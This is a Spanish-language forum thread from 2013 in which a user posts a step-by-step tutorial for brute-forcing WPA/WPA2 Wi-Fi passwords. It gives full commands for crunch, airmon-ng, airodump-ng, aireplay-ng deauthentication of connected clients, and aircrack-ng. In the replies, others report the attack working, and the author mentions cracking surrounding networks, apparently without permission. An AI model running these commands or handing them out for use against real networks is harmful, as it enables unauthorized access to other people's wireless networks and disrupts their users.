elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Hacking wpa-wpa2 fuerza bruta
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Hacking wpa-wpa2 fuerza bruta  (Leído 46,400 veces)
Blackfall

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Hacking wpa-wpa2 fuerza bruta
« en: 26 Agosto 2013, 09:33 am »

Bueno este es mi primer "aporte" (en realidad me base en algunos tutoriales que vi y uni segu me parecio mejor), asi que si cometo algun error espero me corrijan.

aqui dejo uno de los tut. que leí

http://www.miralapantalla.com/auditorias-backtrack-5-crackear-claves-wpawpa2-sin-diccionario/

Descifrar wpa-wpa2 sin diccionario con crunch

Yo se que hay muchos que estan aburridos de estar haciendo o descargando diccionarios para hacer el uso de "la fuerza bruta", aunque lo que <<en mi opinion>> eso no es fuerza bruta, si no una cosa de suerte, aqui les digo como hacer el uso de "la fuerza bruta" para descifrar una wpa-wpa2.

primero descargarse el crunch.

http://db.tt/sXflhAeR

después lo instalas (esto lo saque del tuto del link de arriba).

vamos a la carpeta donde se ha descargado y hacemos click derecho y abrir en un terminal. Cuando se abra el terminal teclearemos:

tar -xvzf crunch-3.3.tgz

Entramos en el directorio donde se acaba de descomprimir escribiendo:

cd crunch-3.3

Vamos a la carpeta y abrimos el archivo MakeFile para donde pone (en gedit tecleando $ gedit Makefile):

val:    crunch.c @echo “Building valgrind compatible binary…”
$(CC) $(VCFLAGS) $(LFS) $? -o crunch


Cambiar la última línea por:

$(CC) $? $(VCFLAGS) $(LFS) -o crunch

Y en donde pone:

crunch: crunch.c
@echo “Building binary…”
$(CC) $(CFLAGS) $(LFS) $? -o $@


Cambiar la última línea por:

$(CC) $? $(CFLAGS) $(LFS) -o $@

Guardamos y nuevamente en el terminal escribiremos:

make install

Para copiarlo en el sbin haciendo así:

cp crunch /usr/sbin/

hasta ahi va la instalación de crunch....

Ahora viene lo bueno...

si de casualidad no tienes todas las herramientas (aircrack-ng) puedes descargarlas de aquí:

http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz

y aqui les dejo algo de como instalarlo:

http://www.bluegehena.com/2012/12/instalar-aircrack-ng-en-linux-mint-13.html


Volviendo al tema......

vamos a la terminal y corremos airmon-ng (como supongo que algunos ya saben jeje).

tecleamos airmon-ng y activamos modo monitor, en mi caso es:

airmon-ng start wlan0

luego, vamos a analizar las redes:

airodump-ng mon0

ahora se elige la red a crackear:

airodump-ng -w crack (cualquier nombre aqui) -c 6 (canal que utiliza la red) --bssid xx:xx:xx:xx:xx (mac de la red que estamos atacando) mon0 (interfaz utilizada)

Ok, hasta aquí igual al cracking de wep, ahora vamos a conseguir el handshake  ;-) que es un archivo que manda el ordenador con la contraseña al router para que este acepte la conexión. Podemos esperar a que un cliente se conecte, o si no, si hay algún cliente conectado, procederemos a su desautentificación para que se desconecte y al volverse a conectar capturemos su Handshake :

aireplay-ng -0 00 (00 es el numero de veces que queremos que se intente desautentificar, con 50 suele llegar) -a (mac del router) -c (mac del cliente que está conectado, aparece justo debajo de donde pone station) (interface que estamos usando).

aquí talves te pida que pongas el nombre de la red (a mi me paso jeje) asi que solo pones -e [NombreDeLaRed] y algunos otros problemas jeje  :silbar:

ahora al tener el handshake viene lo siguiente:

crunch 8 9 0123456789 | aircrack-ng -a 2 RUTA-DEL-ARCHIVO-CAP -e default -b HANDSHAKE -w -

8 9 igual el numero de digitos de la pass y 0123456789 los digitos que utilizara para hacer las combinaciones.

aquí llega el ejemplo de la pag. que ví, lo que no dice es que puedes poner por ejemplo:

abcdefghixyz0123456789 y te mezclara las combinaciones con las letras!!
así es posible llegar a cualquier contraseña porque tecleara todas las combinaciones posibles.... el problema es cuando jejeje

aquí es donde se ve la verdadera fuerza bruta.

Porque si no se te ocurre cual contrseña puede ser, solo dejas esto correr hasta que salga, pero eso si, ¡¡tienes que ser paciente!! jajaja

Espero les sirva, la pregunta no es: ¿¿se puede crackear una wpa-wpa2 sin diccionario?? si no : ¿¿Cuanto se tarda?? jajaja muchas gracias, si cometí algun error me dicen por favor ^^'





« Última modificación: 26 Agosto 2013, 09:37 am por davwon » En línea

x0bs

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #1 en: 29 Agosto 2013, 07:57 am »

Excelente  ;D Lo acabo de probar con una red (con una pass facil, eso si, para que no tardara tanto) y funciona perfectamente, conocía la herramienta crunch pero no sabia que podía hacer eso con el aircrack xD

Gracias


En línea

Blackfall

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #2 en: 29 Agosto 2013, 20:59 pm »

Excelente  ;D Lo acabo de probar con una red (con una pass facil, eso si, para que no tardara tanto) y funciona perfectamente, conocía la herramienta crunch pero no sabia que podía hacer eso con el aircrack xD

Gracias

jeje ok, de nada, yo en este mismo momento acabo de conseguir una, y se toma su tiempo, pero se llega a la meta, así ya no estas haciendo las listas o bajándotelas  y esperando que en esas listas este el pass, con crunch siento que se te hace más seguro conseguirlo, aunque se tarde jeje,, y este conviene más cuando igual que yo, estas rodeado de WIFIs con wpa-wpa2 jejeje y me agrada que te haya funcionado  ;D saludos.
En línea

Sh4k4


Desconectado Desconectado

Mensajes: 965


xMHT


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #3 en: 30 Agosto 2013, 08:01 am »

Citar
a pregunta no es: ¿¿se puede crackear una wpa-wpa2 sin diccionario?? si no : ¿¿Cuanto se
tarda??
Mas bien es... ¿cuantas keys por segundo crackeas?... entre mas mas rapido, menos... tiempo. Todo se reduce al poder de tu PC en precesar mas keys.
« Última modificación: 30 Agosto 2013, 08:04 am por Sh4k4 » En línea

Blackfall

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #4 en: 30 Agosto 2013, 18:27 pm »

Mas bien es... ¿cuantas keys por segundo crackeas?... entre mas mas rapido, menos... tiempo. Todo se reduce al poder de tu PC en precesar mas keys.

jeje apenas 1 mega, jajaja pero solo es la tarjeta de la laptop, quiero conseguir un Alfa Network AWUS036NHA pero ahi voy jaja a ver si me puedes recomendar otro mejor jejeje
En línea

x0bs

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #5 en: 4 Septiembre 2013, 18:21 pm »


Es diferente, no es fuerza bruta sino una vulnerabilidad en el sistema de proteccion WPS, ademas no sirve con todos los routers/modems.

 :laugh:
En línea

Blackfall

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #6 en: 8 Septiembre 2013, 17:06 pm »

Es diferente, no es fuerza bruta sino una vulnerabilidad en el sistema de proteccion WPS, ademas no sirve con todos los routers/modems.

 :laugh:

lo eliminaron?   :huh:
En línea

el_chavo

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #7 en: 9 Septiembre 2013, 15:08 pm »

Holas.

Saben si el crunch viene instalado e el baktrack o wifislax.
gracias
En línea


x0bs

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #8 en: 9 Septiembre 2013, 17:32 pm »

Holas.

Saben si el crunch viene instalado e el baktrack o wifislax.
gracias

Creo que si, viene instalado en kali
En línea

Swain

Desconectado Desconectado

Mensajes: 29



Ver Perfil
Re: Hacking wpa-wpa2 fuerza bruta
« Respuesta #9 en: 2 Octubre 2013, 07:37 am »

Estoy en Kali 1.0.4 y si lo tiene (asumo que 1.0.5 que salio hace poquito tambien lo debe tener)

P.D: maniana lo pruebo en la notebook y en la PC de escritorio y a ver si muestran la cantidad de contrasenias que puede probar por seg dependiendo de la maquina.

Imagino que debe ser bueno para hacer una pequenia prueba de una clave con numeros (a veces suelen ser numeros de documentos, telefonos, o fechas)
« Última modificación: 2 Octubre 2013, 07:41 am por Swain » En línea

No me sigas.
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Fuerza Bruta En VB
Programación Visual Basic
Cicklow 6 7,896 Último mensaje 24 Agosto 2005, 22:51 pm
por 5v5
Fuerza bruta « 1 2 3 »
Programación Visual Basic
vivachapas 25 13,694 Último mensaje 22 Enero 2008, 03:06 am
por vivachapas
[HOWTO] Crakeando WPA/WPA2 vía fuerza bruta usando Pyrit « 1 2 ... 6 7 »
Wireless en Linux
Festor 64 204,779 Último mensaje 16 Diciembre 2014, 08:14 am
por Rav3nS
hacking wpa2-ccmp
Hacking Wireless
progwilian 3 8,830 Último mensaje 30 Octubre 2014, 01:16 am
por simorg
[AYUDA] [FUERZA BRUTA] hacking con pyhon
Hacking
pelela400 5 4,025 Último mensaje 4 Mayo 2020, 10:22 am
por Eern945s92
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines